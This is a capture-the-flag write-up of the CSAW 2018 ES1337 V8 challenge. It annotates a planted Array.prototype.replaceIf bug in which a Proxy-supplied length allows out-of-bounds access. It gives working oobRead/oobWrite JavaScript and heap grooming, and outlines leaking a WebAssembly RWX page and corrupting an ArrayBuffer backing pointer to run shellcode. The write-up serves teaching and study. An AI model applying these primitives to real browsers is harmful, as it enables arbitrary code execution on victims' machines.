CSAW 2018 Final ES1337
0x00 Overview
In this challenge, a new native function Array.prototype.replaceIf
has been implemented, which is used to replace the element of given index with a new value if the callback function returns true. In C++ implementation of this function, when given receiver(this
argument) is a Proxy
, it would optimize and fetch the array target inside the proxy to access the element, but will still use the length obtained from Proxy
, which can cause out-of-bound access. We can use the OOB to leak the address of web assembly RWX page, rewrite the kBackingOffset
of ArrayBuffer
, and write shellcode to execute arbitrary code.
0x01 Usage
The new native function can be used as below.
// array.replaceIf(idx, callback, newValue)
d8> a = [1,2,3]
[1, 2, 3]
d8> a.replaceIf(1, (e)=>e===1, 1337)
false
d8> a
[1, 2, 3]
d8> a.replaceIf(1, (e)=>e===2, 1337)
true
d8> a
[1, 1337, 3]
0x02 Implementation
The implementation of the new function can be found in csaw.patch.
BUILTIN(ArrayReplaceIf) {
HandleScope scope(isolate);
// There must be at least 4 arguments
// including `this` argument
if (args.length() < 4)
return isolate->heap()->ToBoolean(false);
// 1. Let O be ? ToObject(this value).
// args.receiver() is the `this` argument
// this loads the `this` argument to `receiver`
Handle<JSReceiver> receiver;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, receiver,
Object::ToObject(isolate, args.receiver(), "Array.prototype.replaceIf"));
// 2. Let len be ? ToLength(? Get(O, "length")).
// this loads array length to `raw_length_number`
// note that `receiver` here can be any object including Proxy
// which means the length here is controllable
int length;
Handle<Object> raw_length_number;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, raw_length_number,
Object::GetLengthFromArrayLike(isolate, receiver));
// convert the length to C++ `int` primitive
if (!ClampedToInteger(isolate, *raw_length_number, &length))
return isolate->heap()->ToBoolean(false);
// 3. Let index be ? ToInteger(arg[1])
// args[1] is `idx` argument
// convert the index to C++ `int` primitive
int index;
if (!ClampedToInteger(isolate, args[1], &index))
return isolate->heap()->ToBoolean(false);
// 4. Ensure index is less than length
// if the length comes from Proxy
// and is larger than real array length
// we can bypass this check even if `index >= real length`
if (index >= length)
return isolate->heap()->ToBoolean(false);
// 5. Ensure arg[2] is callable
// args[2] is `callback` argument
if (!args[2]->IsCallable())
return isolate->heap()->ToBoolean(false);
// convert `callback` to Handle
Object* func_obj = args[2];
Handle<Object> func(&func_obj);
// 6. If IsProxy(O), let A be ToProxy(O).target(), else let A be O
// This is done for performance reasons. Proxied arrays would normally
// take the slow path, we bypass this to take the fast path
// this is problematic,
// because array length obtained comes from Proxy
// instead of the array target inside this Proxy
// which does not have to be same as the real array length
Handle<JSReceiver> array_object;
if (receiver->IsJSProxy()) {
Handle<JSProxy> proxy = Handle<JSProxy>::cast(receiver);
Handle<JSReceiver> obj(JSReceiver::cast(proxy->target()), isolate);
array_object = obj;
} else {
array_object = receiver;
}
// 7. Check if fast path can be taken
// this will be true if `array_object` is a normal array like [1.1]
bool fast = EnsureJSArrayWithWritableFastElements(isolate, array_object, nullptr, 0, 0);
// 8. Let E be ? Get(A, index)
Handle<Object> element;
if (fast) {
// Fast path (packed elements)
Handle<JSArray> array = Handle<JSArray>::cast(array_object);
ElementsAccessor* accessor = array->GetElementsAccessor();
element = accessor->Get(array, index);
// OOB read here if index>=length,
// which can be resulted through manipulating Proxy
} else {
// Slow path, not related to vulnerability
Handle<String> index_str = isolate->factory()->NumberToString(
isolate->factory()->NewNumber(index));
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, element,
Object::GetPropertyOrElement(isolate, array_object, index_str));
}
// 9. Let S be ? arg[2](E)
// call the callback function
// using the retrieved element as argument
// and assign the return value to raw_should_replace
Handle<Object> argv[] = {element};
Handle<Object> raw_should_replace;
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, raw_should_replace,
Execution::Call(isolate, func, receiver, 1, argv));
// convert `raw_should_replace` to
// `should_replace` C++ `bool` primitive
bool should_replace = raw_should_replace->BooleanValue(isolate);
// 10. If !S, return false
if (!should_replace)
return isolate->heap()->ToBoolean(false);
// 11. Let len be ? ToLength(? Get(O, "length")).
// We check again to account for changes during the jscall
// obtain the length again,
// which is same as the previous one
// thus the length obtained can still come from Proxy
ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
isolate, raw_length_number,
Object::GetLengthFromArrayLike(isolate, receiver));
if (!ClampedToInteger(isolate, *raw_length_number, &length))
return isolate->heap()->ToBoolean(false);
// 12. Ensure index is less than length
// still can be bypassed, for the same reason
if (index >= length)
return isolate->heap()->ToBoolean(false);
// 13. Check if fast path can be taken
// We check again to account for changes during the jscall
fast = EnsureJSArrayWithWritableFastElements(isolate, array_object, nullptr, 0, 0);
// 14. Set(O, index, arg[3])
if (fast) {
// Fast path (packed elements)
Handle<JSArray> array = Handle<JSArray>::cast(array_object);
ElementsAccessor* accessor = array->GetElementsAccessor();
accessor->Set(array, index, args[3]);
// therefore, for the same reason, here is an OOB write
} else {
// Slow path
Handle<String> index_str = isolate->factory()->NumberToString(
isolate->factory()->NewNumber(index));
Handle<Object> new_obj(&args[3]);
RETURN_FAILURE_ON_EXCEPTION(
isolate,
Object::SetPropertyOrElement(isolate, array_object, index_str, new_obj, LanguageMode::kStrict));
}
return isolate->heap()->ToBoolean(true);
}
0x03 Exploitation
Understanding the vulnerability, we can write the oobRead
and oobWrite
function.
const handler1 = {
get: function(target, prop, receiver)
{
if (prop === 'length') {
return 0x1000;
} else {
return target[prop];
}
}
};
var a = [1.1];
var p = new Proxy(a, handler1);
function oobRead(idx)
{
var ret;
Array.prototype.replaceIf.call(p, idx,
function(element){ret=element;return false;}, 1);
// the element passed into callback function
// will be an OOB read
return ret;
}
function oobWrite(idx, val)
{
Array.prototype.replaceIf.call(p, idx, ()=>true, u2d(val));
// let callback return true,
// so `val` will be written to float64 array
}
Then we need to try to leak the RWX page address of web assembly and write shellcode on it. The idea is to allocate ArrayBuffer
and Object
instances just after the array so that the OOB can access fields in these instances.
const arrs = [];
const abs = [];
var a = [1.1];
// the array used for OOB accessing
dp(a);
for (var i = 0; i < 0x10; i++)
{
abs.push(new ArrayBuffer(0x100+i));
// size can be used to identify the index
arrs.push({a:0xdead, b:0xbeef, d:wmain})
}
// allocate ArrayBuffer and Objects just after [1.1]
Then we can leak address of wmain
by looking for 0xdead00000000
and 0xbeef00000000
, and rewrite kBackingOffset
field in ArrayBuffer
to achieve arbitrary memory read and write. The full exploit is here.